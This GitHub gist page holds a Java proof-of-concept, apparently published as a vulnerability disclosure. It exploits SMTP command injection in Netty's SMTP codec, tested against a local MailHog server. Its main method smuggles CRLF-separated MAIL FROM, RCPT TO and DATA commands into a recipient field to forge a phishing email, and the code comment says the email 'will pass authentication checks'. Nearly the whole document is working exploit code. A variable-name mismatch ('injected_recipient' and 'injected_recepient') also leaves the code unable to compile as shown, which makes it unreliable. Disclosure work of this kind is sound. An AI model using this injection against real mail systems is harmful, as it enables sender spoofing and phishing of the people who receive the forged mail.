Skip to content

Instantly share code, notes, and snippets.

@DepthFirstDisclosures
Created September 4, 2025 00:38
Show Gist options
  • Select an option

  • Save DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c to your computer and use it in GitHub Desktop.

Select an option

Save DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c to your computer and use it in GitHub Desktop.
package com.depthfirst.poc;
import io.netty.handler.codec.smtp.SmtpRequest;
import io.netty.handler.codec.smtp.SmtpRequestEncoder;
import io.netty.handler.codec.smtp.SmtpRequests;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.buffer.ByteBuf;
import io.netty.util.CharsetUtil;
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.smtp.SmtpResponseDecoder;
import io.netty.handler.codec.smtp.SmtpResponse;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import io.netty.handler.logging.LogLevel;
import io.netty.handler.logging.LoggingHandler;
/**
*
* @author Mav Levin @ DepthFirst.com
*
* This is a proof-of-concept (PoC) for exploiting SMTP injection in Netty SMTP codec.
* If an attacker can control the recipient or sender fields, they are able to hijack
* the entire email, arbitrarily setting the sender, recipient, and content of the email.
*/
/**
*
* Quick Setup:
*
* 1. Install MailHog (local SMTP server):
* brew update && brew install mailhog
*
* 2. Start MailHog:
* mailhog
* (SMTP runs on localhost:1025, web UI at http://localhost:8025)
*
* 3. To use another SMTP server, change SMTP_SERVER and SMTP_PORT above.
*
* 4. Run this code with Maven:
* mvn clean compile exec:java -Dexec.mainClass="com.depthfirst.poc.App" -q
*
*/
public class App
{
// SMTP server configuration - using local MailHog for testing
private static final String SMTP_SERVER = "localhost";
private static final int SMTP_PORT = 1025;
/**
* Send an email using Netty SMTP client
* @param from Sender email address
* @param to Recipient email address
* @param content Email content
*/
public static void sendEmail(String from, String to, String content) throws Exception {
EventLoopGroup group = new NioEventLoopGroup();
CountDownLatch latch = new CountDownLatch(1);
try {
Bootstrap bootstrap = createBootstrap(group, from, to, content, latch);
// Connect to SMTP server
ChannelFuture future = bootstrap.connect(SMTP_SERVER, SMTP_PORT).sync();
System.out.println("Connected to SMTP server");
// Wait for email to be sent with timeout
boolean completed = latch.await(10, TimeUnit.SECONDS);
if (!completed) {
System.out.println("WARNING: Email sending timed out after 10 seconds");
}
} finally {
group.shutdownGracefully();
}
}
/**
* Creates and configures the Netty Bootstrap for SMTP communication
*/
private static Bootstrap createBootstrap(EventLoopGroup group, String from, String to, String content, CountDownLatch latch) {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
setupPipeline(ch, from, to, content, latch);
}
});
return bootstrap;
}
/**
* Sets up the Netty pipeline with SMTP handlers
*/
private static void setupPipeline(SocketChannel ch, String from, String to, String content, CountDownLatch latch) {
ChannelPipeline pipeline = ch.pipeline();
// Add logging handlers
pipeline.addLast("sendLogger", createSendLogger());
pipeline.addLast(new SmtpRequestEncoder());
pipeline.addLast("receiveLogger", createReceiveLogger());
pipeline.addLast(new SmtpResponseDecoder(1024));
pipeline.addLast(new SmtpProtocolHandler(from, to, content, latch));
}
/**
* Creates a handler for logging outgoing data
*/
private static ChannelOutboundHandlerAdapter createSendLogger() {
return new ChannelOutboundHandlerAdapter() {
@Override
public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) {
if (msg instanceof ByteBuf) {
ByteBuf buf = (ByteBuf) msg;
String content = buf.toString(CharsetUtil.UTF_8);
System.out.println("(netty is sending)> " + content.replaceAll("\r\n", "\\\\r\\\\n"));
}
ctx.write(msg, promise);
}
};
}
/**
* Creates a handler for logging incoming data
*/
private static ChannelInboundHandlerAdapter createReceiveLogger() {
return new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
if (msg instanceof ByteBuf) {
ByteBuf buf = (ByteBuf) msg;
String content = buf.toString(CharsetUtil.UTF_8);
System.out.println("(netty has received)> " + content.replaceAll("\r\n", "\\\\r\\\\n"));
}
ctx.fireChannelRead(msg);
}
};
}
/**
* Handles SMTP protocol communication using a state machine
*/
private static class SmtpProtocolHandler extends SimpleChannelInboundHandler<SmtpResponse> {
private final String from;
private final String to;
private final String content;
private final CountDownLatch latch;
private int step = 0;
public SmtpProtocolHandler(String from, String to, String content, CountDownLatch latch) {
this.from = from;
this.to = to;
this.content = content;
this.latch = latch;
}
@Override
protected void channelRead0(ChannelHandlerContext ctx, SmtpResponse response) {
System.out.println("Server: " + response);
try {
handleSmtpResponse(ctx, response);
} catch (Exception e) {
System.err.println("Error handling SMTP response: " + e.getMessage());
closeConnection(ctx);
}
}
private void handleSmtpResponse(ChannelHandlerContext ctx, SmtpResponse response) {
if (response.code() == 220 && step == 0) {
// Server ready, send HELO
step = 1;
ctx.writeAndFlush(SmtpRequests.helo("localhost"));
} else if (response.code() == 250 && step == 1) {
// HELO accepted, send MAIL FROM
step = 2;
ctx.writeAndFlush(SmtpRequests.mail(from));
} else if (response.code() == 250 && step == 2) {
// MAIL FROM accepted, send RCPT TO
step = 3;
ctx.writeAndFlush(SmtpRequests.rcpt(to));
} else if (response.code() == 250 && step == 3) {
// RCPT TO accepted, send DATA
step = 4;
ctx.writeAndFlush(SmtpRequests.data());
} else if (response.code() == 354 && step == 4) {
// DATA accepted, send email content
step = 5;
String emailData = buildEmailContent();
ByteBuf emailBuffer = ctx.alloc().buffer();
emailBuffer.writeBytes(emailData.getBytes(CharsetUtil.UTF_8));
ctx.writeAndFlush(emailBuffer);
} else if (response.code() == 250 && step == 5) {
// Email sent successfully, send QUIT
step = 6;
// Send QUIT as raw string instead of SmtpRequest
ByteBuf quitBuffer = ctx.alloc().buffer();
quitBuffer.writeBytes("QUIT\r\n".getBytes(CharsetUtil.UTF_8));
ctx.writeAndFlush(quitBuffer);
} else if (response.code() == 221 && step == 6) {
// QUIT accepted, close connection
closeConnection(ctx);
} else if (response.code() >= 400) {
// Error response
System.err.println("SMTP Error: " + response);
closeConnection(ctx);
}
}
private String buildEmailContent() {
return "From: " + from + "\r\n" +
"To: " + to + "\r\n" +
"Subject: Test Email\r\n" +
"\r\n" +
content + "\r\n" +
".\r\n";
}
private void closeConnection(ChannelHandlerContext ctx) {
ctx.close();
latch.countDown();
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
System.err.println("Error: " + cause.getMessage());
closeConnection(ctx);
}
}
public static void main( String[] args )
{
String regular_recepient = "[email protected]";
String injected_recipient = "[email protected]\r\n" +
"MAIL FROM:<[email protected]>\r\n" +
"RCPT TO:<[email protected]>\r\n" +
"DATA\r\n" +
"From: [email protected]\r\n" +
"To: [email protected]\r\n" +
"Subject: Urgent: Phishing Email\r\n" +
"\r\n" +
"This is a forged email that will pass authentication checks.\r\n" +
".\r\n" +
"QUIT\r\n";
try {
// Test the sendEmail function
// sendEmail("[email protected]", "[email protected]", "This is a test email sent using Netty SMTP codec!");
sendEmail("[email protected]", injected_recepient, "This is a test email sent using Netty SMTP codec!");
System.out.println("Email sent successfully!");
} catch (Exception e) {
System.err.println("Failed to send email: " + e.getMessage());
e.printStackTrace();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment